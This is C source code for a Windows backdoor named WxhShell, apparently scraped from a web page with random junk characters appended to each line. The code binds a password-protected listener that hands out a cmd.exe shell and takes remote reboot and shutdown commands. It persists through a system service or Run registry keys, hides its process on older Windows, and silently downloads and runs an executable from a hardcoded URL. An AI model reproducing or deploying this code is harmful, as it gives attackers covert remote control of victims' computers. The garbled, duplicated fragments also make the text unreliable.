    if(Boot(SHUTDOWN)) D& pn@6bB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Pk<3.S0  
    else { B>c$AS\5y  
    closesocket(wsh); /V09Na,N  
    ExitThread(0); &u[{VR:  
    } ;Tnid7:S  
    break; `$Rgn3  
    } Hghd Ts  
  // 获取shell jz_Y|"{`v  
  case 's': { X PyDZk/m  
    CmdShell(wsh); 'UhHcMh:  
    closesocket(wsh); Fn .J tIu  
    ExitThread(0); ;+XrCy!.)L  
    break; J@:Q(  
  } B?i#m^S  
  // 退出 WfaMu| L  
  case 'x': { 9[zxq`qT}+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); A0 Nx?  
    CloseIt(wsh); *gH]R*Q[Rt  
    break; b]b>i]n  
    } y@l&B+2ks  
  // 离开 '>t&fzD0  
  case 'q': { OM0r*<D"!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); aGC3&c[Wx  
    closesocket(wsh); rs?Dn6:;B  
    WSACleanup(); =gI41Y]  
    exit(1); j yD3Sa3  
    break; R`@T<ob)  
        } l+@;f(8}  
  } iOg4(SPci  
  } ]uox ^HC  
UgAp9$=z  
  // 提示信息 0]bt}rh  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); fY9+m}$S$  
} exJc[G&t(  
  } ^%,{R},s  
YA$YT8iMe  
  return; rb-ao\  
} y#B=9Ri=z  
U\Vg&"P  
// shell模块句柄  j5/pVXO  
int CmdShell(SOCKET sock) P6.PjK!Ar  
{ ldUZ\z(*  
STARTUPINFO si; v|(]u3=1_  
ZeroMemory(&si,sizeof(si)); ,Tr&`2w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3`yO&upk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kyAN O  
PROCESS_INFORMATION ProcessInfo; xH\\#4/  
char cmdline[]="cmd"; L0"|4=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I :<,9.   
  return 0; xg/(  
} 7*uN[g#p  
.4\I?  
// 自身启动模式 Y M:9m)  
int StartFromService(void) 9k ~8n9  
{ pFY*Y>6ar  
typedef struct :@i+yN cV  
{ ~'%d]s+q  
  DWORD ExitStatus; G/p\MzDko  
  DWORD PebBaseAddress; ={%'tv`  
  DWORD AffinityMask; )iw-l~y;  
  DWORD BasePriority; FDD=I\Ic  
  ULONG UniqueProcessId; ~\JB)ca.  
  ULONG InheritedFromUniqueProcessId; Zb=NcEPGy  
}   PROCESS_BASIC_INFORMATION; J[:#(c&c!1  
^(^P#EEG  
PROCNTQSIP NtQueryInformationProcess; 9Of;8R  
d[9{&YnH !  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;/$pxD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |1!fuB A  
`.J)Z=o  
  HANDLE             hProcess; ,5 ka{Q`K  
  PROCESS_BASIC_INFORMATION pbi; ((A@VcX  
0a89<yX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "O>~osj  
  if(NULL == hInst ) return 0; g)czJ=T2  
"b`#RohCi  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dh`s^D6Q>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [T_[QU:A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); aeUgr !  
6d]4 %QT  
  if (!NtQueryInformationProcess) return 0; a%Q`R;W  
;S U<T^a  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?h4[yp=w  
  if(!hProcess) return 0; %cn 1d>M+I  
6"G(Iq'2t3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "L]v:lg3  
]Ik~TW&  
  CloseHandle(hProcess); :ir#7/  
%U{sn\V  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); P_3IFHe  
if(hProcess==NULL) return 0; VYb,Hmm>kC  
N9M}H#  
HMODULE hMod; o4p5`jOG@  
char procName[255]; hx0t!k(3  
unsigned long cbNeeded; zgjgEhnvU  
4A@HR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Wd7*7']  
O~qRHYv  
  CloseHandle(hProcess); u;$qJjS N  
lVT*Ev{&.  
if(strstr(procName,"services")) return 1; // 以服务启动 4ct-K)Ris  
>97YK =  
  return 0; // 注册表启动 []@@  
} y`zdI_!7  
0J'^<G TL  
// 主模块 sZ=!*tb-  
int StartWxhshell(LPSTR lpCmdLine) L-E &m*%  
{ F}l3\uC]  
  SOCKET wsl; @@\qso  
BOOL val=TRUE; DL V ny]  
  int port=0; ThX3@o  
  struct sockaddr_in door; 9ad)=3A&L  
Se!w(Y&  
  if(wscfg.ws_autoins) Install(); J'WzEgCnU  
Jf2JGTcm  
port=atoi(lpCmdLine); D,.`mX  
ub8d]GZJ  
if(port<=0) port=wscfg.ws_port; ,M`1 k  
#9(+)~irz`  
  WSADATA data; Q<6* UUQm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +ZjDTTk  
$Mg O)bH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k^d]EF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G_=i#Tu[  
  door.sin_family = AF_INET; c=tbl|Cq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }5PC53q  
  door.sin_port = htons(port); 'yH  
&V+_b$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vX>{1`e{S  
closesocket(wsl); ,$t1LV;o=  
return 1; g0B-<>E  
} tb?TPd-OY  
@:w^j0+h  
  if(listen(wsl,2) == INVALID_SOCKET) { SN"Y@y)=  
closesocket(wsl); Mo3%OR  
return 1; [gUD +  
} |s/Kb]t  
  Wxhshell(wsl); r(wf>w3  
  WSACleanup(); 40=u/\/K  
4PD5i  
return 0; )kjQ W&)g  
w|G7h=  
} fPTLPcPP  
TqN@l\  
// 以NT服务方式启动 >{Ayzz>v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 1^]IuPxq  
{ N}/V2K]Q  
DWORD   status = 0;  lPz`?Hn  
  DWORD   specificError = 0xfffffff; ]lKUpsQI  
d1.@v;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; L %acsb}  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XPrnQJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `&x>2FJ  
  serviceStatus.dwWin32ExitCode     = 0; L:_{bE|TY  
  serviceStatus.dwServiceSpecificExitCode = 0; S@pdCH, n  
  serviceStatus.dwCheckPoint       = 0; c[,Rh f  
  serviceStatus.dwWaitHint       = 0; ~ 1TT?H  
V(K;Gc  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t|V5[n!  
  if (hServiceStatusHandle==0) return; j8Q_s/n  
^vh!1"T  
status = GetLastError(); gcwJ{&  
  if (status!=NO_ERROR) \'g7oV;>cI  
{ wG:RvgX}  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <z60E vHg  
    serviceStatus.dwCheckPoint       = 0; Wx#l}nD  
    serviceStatus.dwWaitHint       = 0; ? Lxc1  
    serviceStatus.dwWin32ExitCode     = status; Z~(X[Zl :  
    serviceStatus.dwServiceSpecificExitCode = specificError; LR.]&(kyd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &to~#.qc  
    return; *eXs7"H  
  } OSuQ7V  
KgYQxEbIW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IX 6 jb"  
  serviceStatus.dwCheckPoint       = 0; }Uj-R3]}K  
  serviceStatus.dwWaitHint       = 0; CEkf0%YJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _~1O#*|4  
} eCJtNPd  
EpACd8Fb  
// 处理NT服务事件,比如:启动、停止 $[HCetaqV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w$s6NBF7  
{ gZ>&cju  
switch(fdwControl) 9`qw,X&AK_  
{ WllQM,h  
case SERVICE_CONTROL_STOP: p:tp |/  
  serviceStatus.dwWin32ExitCode = 0; 'Kmf6iK>[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i\ 7JQZ  
  serviceStatus.dwCheckPoint   = 0; cfBl HeYE  
  serviceStatus.dwWaitHint     = 0; %t* 9sh  
  { JI-.SR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pdN8 hJ  
  } zO9WqP_`iR  
  return; c<q33dZ!*  
case SERVICE_CONTROL_PAUSE: |R91|-H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vfT @;`  
  break; iX2exJto  
case SERVICE_CONTROL_CONTINUE: V?T&>s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  m5J@kE%  
  break; 9;*B*S~znW  
case SERVICE_CONTROL_INTERROGATE: DV?c%z`YO  
  break; ae3 Gn }tf  
}; 0ZD)(ps|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sjLm-pn3  
} xzx~H>M  
6e,IjocsB  
// 标准应用程序主函数 Ao\OU}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2b\ h@VJt  
{ ,3G B9  
oKkDG|IE  
// 获取操作系统版本 wE9z@\z]  
OsIsNt=GetOsVer(); C.u) 2[(  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5 <KBMCn  
ZZ}HgPZ  
  // 从命令行安装 =mwAbh)[7n  
  if(strpbrk(lpCmdLine,"iI")) Install(); ] -C*d$z  
Ea" -n9  
  // 下载执行文件 iqX%pR~Yo  
if(wscfg.ws_downexe) { #Wl9[W/4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ~r})&`5  
  WinExec(wscfg.ws_filenam,SW_HIDE); y9i+EV  
} Y!c7P,cZ+3  
`} 'o2oZnG  
if(!OsIsNt) { %dd B$(  
// 如果时win9x,隐藏进程并且设置为注册表启动 Xa'b @*o&  
HideProc(); &F0>V o  
StartWxhshell(lpCmdLine); P 2x.rukT|  
} xOxyz6B\  
else L Do~  
  if(StartFromService()) )ARV>(  
  // 以服务方式启动 FgP{  
  StartServiceCtrlDispatcher(DispatchTable); +*qTZIXj  
else Y,4?>:39J  
  // 普通方式启动 r;waT@&C  
  StartWxhshell(lpCmdLine); {A MAQ  
A$zC$9{0I  
return 0; ?56;<%0  
} PEtr8J$uB  
5}9rpN{y  
<pT1p4T<  
Y!u">M#@  
=========================================== dqt}:^L*0g  
}p9#Bzc  
ZD?LsD3  
zU|'IW&  
TuwSJS7  
ZQ\O| n8  
" Z2]\k|%<Fa  
ZOJ7 ^g  
#include <stdio.h> ,/p .!+  
#include <string.h> 7bM H  
#include <windows.h> i94)DWZ^  
#include <winsock2.h> 6l|SGt\  
#include <winsvc.h> WR* <|  
#include <urlmon.h> cR6 #$-a  
\S?;5LacZ  
#pragma comment (lib, "Ws2_32.lib") 1$yS Ii  
#pragma comment (lib, "urlmon.lib") n5#9o},oK  
S U P  
#define MAX_USER   100 // 最大客户端连接数 u69G #  
#define BUF_SOCK   200 // sock buffer :N4?W}r.  
#define KEY_BUFF   255 // 输入 buffer SV1;[  
LwI4 2  
#define REBOOT     0   // 重启 P=4o)e7E!  
#define SHUTDOWN   1   // 关机 t .XuH#  
1[Jv9S*f/  
#define DEF_PORT   5000 // 监听端口 _>{"vY  
hZO=$Mm4p  
#define REG_LEN     16   // 注册表键长度 }f] ~{^  
#define SVC_LEN     80   // NT服务名长度 mL s>RR#b  
%SMP)4Y/R  
// 从dll定义API fdKTj =4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ot^$/(W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }Mc&yjhMrg  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <oTNo>U/k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \T`iq[+6  
d^aLue>g;+  
// wxhshell配置信息 0o?2Sf`L\*  
struct WSCFG { <3{ >;^|e  
  int ws_port;         // 监听端口 LgSVEQb6\|  
  char ws_passstr[REG_LEN]; // 口令 <qxqlEQT  
  int ws_autoins;       // 安装标记, 1=yes 0=no s(Fxi|v;  
  char ws_regname[REG_LEN]; // 注册表键名 S#ud<=@!9  
  char ws_svcname[REG_LEN]; // 服务名 2cJ3b 0Xx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {*qz<U >  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 HqA~q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?trqe/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2C &l\16  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o2riy'~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3q(]Dg;v  
5[$Tpn#K7  
}; XV<{tqa  
} qr ,  
// default Wxhshell configuration YksJ$yH^  
struct WSCFG wscfg={DEF_PORT, >56;M7b(K  
    "xuhuanlingzhe", 5AAPtZ\lH  
    1, <K~mg<ff$  
    "Wxhshell", YjeHNPf  
    "Wxhshell", PKNpR  
            "WxhShell Service", ddeH-Z  
    "Wrsky Windows CmdShell Service", uI&<H T?  
    "Please Input Your Password: ", + gP 4MP  
  1, ulY<4MN  
  "http://www.wrsky.com/wxhshell.exe", JsQmn<Yt  
  "Wxhshell.exe" zJtB?<  
    }; E1rxuV|9  
:eTzjW=  
// 消息定义模块 'ul~f$ V  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (L8z<id<z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O(44Dy@2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JclG*/Wjg4  
char *msg_ws_ext="\n\rExit."; zlN<yZB^  
char *msg_ws_end="\n\rQuit."; 9y&&6r<I  
char *msg_ws_boot="\n\rReboot..."; 'uV;)~  
char *msg_ws_poff="\n\rShutdown..."; Eh?,-!SUQn  
char *msg_ws_down="\n\rSave to "; C'//(gjQ-G  
Vbpt?1:  
char *msg_ws_err="\n\rErr!"; ,W&::/2<7  
char *msg_ws_ok="\n\rOK!"; RVe UQ%  
tv7A&Z)Rh  
char ExeFile[MAX_PATH]; 75#&hi/~  
int nUser = 0; j[YO1q*  
HANDLE handles[MAX_USER]; J@ pCF@'  
int OsIsNt; C XiSin  
>_um-w#C  
SERVICE_STATUS       serviceStatus; g:>Mooxzi  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U6R~aRJ;  
_,9/g^<  
// 函数声明 6`hHx=L  
int Install(void); R4g% $}  
int Uninstall(void); srfM"Lb'  
int DownloadFile(char *sURL, SOCKET wsh); 3eS *U`_  
int Boot(int flag); #1` lJ  
void HideProc(void); ob;$yn7ZO1  
int GetOsVer(void); <gc\ ,P<ru  
int Wxhshell(SOCKET wsl); hiA%Tq?  
void TalkWithClient(void *cs); B<uUf)t  
int CmdShell(SOCKET sock); H$n{|YO `  
int StartFromService(void); h4dT N}  
int StartWxhshell(LPSTR lpCmdLine); WscNjWQ^TD  
75t5:>"[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h\qM5Qx+Q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); SPK% ' s  
W"L;8u  
// 数据结构和表定义 ,~,{$\p   
SERVICE_TABLE_ENTRY DispatchTable[] = -& \?Q_6  
{ a8!/V@a  
{wscfg.ws_svcname, NTServiceMain}, N=P+b%%:Z  
{NULL, NULL} 7IH^5r  
}; %o9;jX  
/SDDCZ`;|c  
// 自我安装 XT 'v7  
int Install(void) MX{p)(HW  
{ .V:H~  
  char svExeFile[MAX_PATH]; $x %VUms  
  HKEY key; XQ]5W(EP  
  strcpy(svExeFile,ExeFile); LxC"j1wfl  
!F&Ss|(}  
// 如果是win9x系统,修改注册表设为自启动 Ohmi(s   
if(!OsIsNt) { nXuoRZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;/phZ$l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H6PS7g"  
  RegCloseKey(key); BVpRkUC"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [J.-gN$X@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zS##YR  
  RegCloseKey(key); +W P  
  return 0; m!-,K8  
    } H7"m/Bia  
  } <_"^eF+fZ  
} E1e#E3Yq}s  
else { " %)zTH  
:7+E fu  
// 如果是NT以上系统,安装为系统服务 $'2yPoR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p;VHg  
if (schSCManager!=0) L3g}Z1<!$  
{ s!d"(K9E  
  SC_HANDLE schService = CreateService 4d*=gy%  
  ( H/Fq'FsQB  
  schSCManager, !@x'?+   
  wscfg.ws_svcname, y-iuOzq4  
  wscfg.ws_svcdisp, \y G//  
  SERVICE_ALL_ACCESS, HFL(t]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w Kq-|yf,  
  SERVICE_AUTO_START, _XqD3?yH4  
  SERVICE_ERROR_NORMAL, )Ekp <2B:0  
  svExeFile, AW+ q#Is  
  NULL, +EWfsKz  
  NULL, aT %A<'O!  
  NULL, 62X;gb  
  NULL, IW.~I,!x  
  NULL =A,6KY=E  
  ); }I\hO L  
  if (schService!=0) 62 biOea  
  { u-a*fT  
  CloseServiceHandle(schService); n^Qt !~  
  CloseServiceHandle(schSCManager); T*%Q s&x ;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A:3:Cr  
  strcat(svExeFile,wscfg.ws_svcname); zl W 5$cC[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -nQ:RHnd  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d|9B3I*I  
  RegCloseKey(key); Lit@ m2{\  
  return 0; ;{e;6Hq  
    } 9(>l trA  
  } S"Dw8_y7}  
  CloseServiceHandle(schSCManager); c bk|LQ.O  
} QJaF6>m  
} V+mTo^  
JZ5N Q)sX  
return 1; od7 [h5r  
} |X6]#&g7  
VHJ-v!  
// 自我卸载 3UIR^Rh+  
int Uninstall(void) s4RqMO5eI  
{ ^uu)|  
  HKEY key; Olg@ Ri  
:Qg3B ';  
if(!OsIsNt) { 52$7vYMto  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "]dNN{Wka  
  RegDeleteValue(key,wscfg.ws_regname); ,rB"ag !  
  RegCloseKey(key); 8jE6zS }m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  0~{&  
  RegDeleteValue(key,wscfg.ws_regname); l0m\2Ttf  
  RegCloseKey(key); rH9wRY(  
  return 0; _z<y]?q  
  } .CClc(bO_/  
} s.E}xv  
} |uT&`0T'e`  
else { Kzw )Q  
wsyG~^>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  6[<*C?  
if (schSCManager!=0) l%?D%'afN  
{ /N`l z>^~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TS9=A1J#  
  if (schService!=0) i9.~cnk  
  { h]rF2 B  
  if(DeleteService(schService)!=0) { 6]%79?'A  
  CloseServiceHandle(schService); &J)q_Z8  
  CloseServiceHandle(schSCManager); &VIX?UngE  
  return 0; mr+J#  
  } ydCVG,"  
  CloseServiceHandle(schService); R0R Xw  
  } w !N; Y0  
  CloseServiceHandle(schSCManager); tp='PG.6  
} +`_I !  
} f&w8o5=|I  
w7H.&7rF  
return 1; ^rI<}cfR  
} .:KZ8'g3}  
g.v)qB  
// 从指定url下载文件 YEZd8Y  
int DownloadFile(char *sURL, SOCKET wsh) Zc"Vf]:  
{ :wJ=t/ho  
  HRESULT hr; $td=h)S^`  
char seps[]= "/"; 18|i{fE;  
char *token; ;* vVucx  
char *file; %rpJZ t  
char myURL[MAX_PATH]; F)we^'X  
char myFILE[MAX_PATH]; 6t0!a@t  
etX &o5A  
strcpy(myURL,sURL); Yq;|Me{h  
  token=strtok(myURL,seps); E\V-< ]o  
  while(token!=NULL) gWo`i  
  { OC|9~B1  
    file=token; g0m6D:f  
  token=strtok(NULL,seps); Th&* d;  
  } aI$D qnF4  
l[EnFbD6  
GetCurrentDirectory(MAX_PATH,myFILE); =qY!<DB[L  
strcat(myFILE, "\\"); ?*}^xXI/  
strcat(myFILE, file); /P*mF^Y  
  send(wsh,myFILE,strlen(myFILE),0); #"^F:: b-  
send(wsh,"...",3,0); SMr ]Gf.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i2ap]  
  if(hr==S_OK) 4WV'\R+m  
return 0; W ?;kMGW-  
else UXz0HRRS0  
return 1; lP>}9^7I!  
Vy-EY*r|  
} 8SvPDGu `]  
&UhI1mi]h  
// 系统电源模块 uqy b  
int Boot(int flag) M{U{iS  
{ @V/Lqia  
  HANDLE hToken; ?)$+W+vK  
  TOKEN_PRIVILEGES tkp; lsV9-)yyl  
lW^bn(_gQ  
  if(OsIsNt) { {*VCR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )J?Nfi%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~n:dHK`  
    tkp.PrivilegeCount = 1; Q:I2\E  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {shf\pm!o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X<\y%2B|l  
if(flag==REBOOT) { 4\)"Ih  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2s{PE  
  return 0; Wq_#46P-  
} S^,1N 4  
else { I#0WN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mX78Av.z!  
  return 0; FgILQ"+  
} yoKl.U"&  
  } ~7$E\w6  
  else { SST1vzm!  
if(flag==REBOOT) { /5^"n4/M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k}-@N;zq  
  return 0; p@H]F<  
} c+PT"/3  
else { +@]b}W  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t:tT Zh  
  return 0; =%, ;=4w  
} ITj0u&H:  
} 0MK|spc  
G1 ?."  
return 1; Hl"qLrb4  
} dmHpF\P5f  
|oq27*ix~m  
// win9x进程隐藏模块 M)Iu'  
void HideProc(void) aRBTuLa)fo  
{ }`g:) g J  
[KA&KI^hF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7 jq?zS|  
  if ( hKernel != NULL ) 5Xn+cw*  
  { }."3&u't  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fsU6o4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G% wVQ|1  
    FreeLibrary(hKernel); 7XKPC+)1ya  
  } Vv=/{31  
AV0m31b  
return; %T]NM3|U  
} IwC4fcZX6  
0be1aY;m&  
// 获取操作系统版本 8spoDb.S  
int GetOsVer(void) bWzv7#dd=  
{ z=TaB^-)  
  OSVERSIONINFO winfo; WVc3C-h,  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Nx~9Ug  
  GetVersionEx(&winfo); |zD{]y?S-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Pl_4;q!$  
  return 1; ZhqrN]x  
  else <rUH\z5cP  
  return 0; QUL^]6$  
} @OOnO+g  
7n*,L5%?]4  
// 客户端句柄模块 =[8EQdR  
int Wxhshell(SOCKET wsl) `Tt}:9/3  
{ :'aT 4  
  SOCKET wsh; iOpMU  
  struct sockaddr_in client; jEj#|w  
  DWORD myID; v.,|#}0 o  
>AsD6]  
  while(nUser<MAX_USER) *"V5j#F_  
{ av>c  
  int nSize=sizeof(client); E"l&<U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); D>9~JHB  
  if(wsh==INVALID_SOCKET) return 1; tx}} Kd  
J(*q OGBD  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aY8"Sw|4  
if(handles[nUser]==0) >jEn>H?  
  closesocket(wsh); (vm &&a@  
else fMe "r*SU  
  nUser++; ugexkdgM  
  } |FZ)5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 74YMFI   
=a>a A Z  
  return 0; 1PWs">*(  
} dkTj KV  
T"1H%65`V  
// 关闭 socket <ijf':X=*  
void CloseIt(SOCKET wsh) ok;Yxp>  
{ M<Mr L[*j  
closesocket(wsh); 7Iu^ l4=2  
nUser--; hS]g^S==2h  
ExitThread(0); [r'PGx  
} ;-p1z% u  
SH>L3@Za  
// 客户端请求句柄 Az4+([  
void TalkWithClient(void *cs) Jlw<% }r  
{ 9{{QdN8  
2N_8ahc  
  SOCKET wsh=(SOCKET)cs; =}N&c4I[j  
  char pwd[SVC_LEN]; G t 4| ]  
  char cmd[KEY_BUFF]; fE"Q:K6r2  
char chr[1]; N9LBji;nH  
int i,j; j-wSsjLk  
^'EeJN  
  while (nUser < MAX_USER) { ,"?h _NbF  
?>b>LDpx?  
if(wscfg.ws_passstr) { Ed[ tmaEuV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q!DH8'|4?L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rU?sUm,ch  
  //ZeroMemory(pwd,KEY_BUFF); / fBi9=}+  
      i=0; q{v:T}Q|A  
  while(i<SVC_LEN) { 4|Z;EAFx  
@UCI^a~w  
  // 设置超时 YXE?b@W"  
  fd_set FdRead; X`km\\*  
  struct timeval TimeOut; /BB(riG  
  FD_ZERO(&FdRead); ^VsX9  
  FD_SET(wsh,&FdRead); ~!( (?8"  
  TimeOut.tv_sec=8; +2%ih !  
  TimeOut.tv_usec=0; ?E1<>4S8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P" +!mSe^~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 61|uvTX  
Kx.'^y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]h4^3   
  pwd=chr[0]; 5WN^8`{'3  
  if(chr[0]==0xd || chr[0]==0xa) { xWk:7,/  
  pwd=0; %:I\M)t}k  
  break; , ~^0AtLv  
  } eELJDSd BV  
  i++; OO?d[7Wt0  
    } =O= 0 D  
:s8^nEK  
  // 如果是非法用户,关闭 socket K)z{R n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '6l4MR$j&m  
} VC%{qal;q  
S~BBBD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $OI 6^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hdky:2^3  
nulCk33x'=  
while(1) { t)|*-=  
wQR>S>p  
  ZeroMemory(cmd,KEY_BUFF); l ;"v&?  
@<]sW*s  
      // 自动支持客户端 telnet标准   3IXai)6U  
  j=0;  k I {)"  
  while(j<KEY_BUFF) { l,cnM r^.W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ks92-%;:  
  cmd[j]=chr[0]; ~{GbuoH  
  if(chr[0]==0xa || chr[0]==0xd) { r!H'8O!  
  cmd[j]=0; m80e^  
  break; G-`4TQ  
  } X}T/6zk  
  j++; *'5 )CC  
    } A-5xgp,  
/Y=Cg%+  
  // 下载文件 f4A;v|5_  
  if(strstr(cmd,"http://")) { =l6aSr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cj ?aCVa  
  if(DownloadFile(cmd,wsh)) rG7E[kii  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;pk4Voo$  
  else p,_,o3@~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R*Jnl\?>@  
  } )xJCH9h  
  else { kKbq?}W[  
